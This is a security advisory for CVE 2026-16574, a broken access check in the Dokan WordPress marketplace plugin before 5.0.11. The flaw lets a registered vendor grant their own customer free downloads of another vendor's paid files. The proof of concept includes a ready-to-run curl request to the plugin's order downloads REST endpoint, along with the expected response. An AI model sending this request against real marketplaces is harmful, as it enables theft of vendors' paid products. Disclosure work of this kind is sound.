Dokan < 5.0.11 – Vendor+ Cross-Vendor Downloadable Product Access Grant via Order Downloads REST Endpoint | CVE 2026-16574

Description

The plugin does not verify that a downloadable product belongs to the requesting vendor before granting download permissions through one of its order REST endpoints, allowing an authenticated vendor to grant their own customer free download access to another vendor's paid downloadable files.

Proof of Concept

Prerequisites (realistic marketplace state):
  - Attacker holds the Dokan Vendor role (self-register via the marketplace vendor registration form).
  - Attacker owns one order (place any order on their own store; note its ID, e.g. 15).
  - A different vendor owns a downloadable product (e.g. product 13, "Secret VendorB File").
  - The attacker is NOT the author of product 13.

Auth: a WordPress Application Password (HTTP Basic), or a logged-in vendor cookie plus the
wp_rest nonce (exposed on the Dokan vendor dashboard as X-WP-Nonce). Both work for the Vendor role.

Exploit - as the attacker vendor, grant the attacker's own order (15) download access to
another vendor's product (13):

  curl -s -u 'attacker_vendor:APPLICATION_PASSWORD' \
    -X POST 'https://victim.example/wp-json/dokan/v2/orders/15/downloads' \
    -H 'Content-Type: application/json' \
    -d '{"ids":[13]}'

  (The /wp-json/dokan/v3/orders/15/downloads route is identically affected.)

Expected result: HTTP 200 with the FOREIGN vendor's file name in the body, e.g.
  {"2":"Secret VendorB File"}
and a new row in woocommerce_downloadable_product_permissions binding the victim vendor's
product to the attacker's order/customer (product_id=13, order_id=15, user_id=<attacker's
customer>, download_id=vbfile1). The attacker's customer can then download the victim
vendor's paid file for free (My Account > Downloads).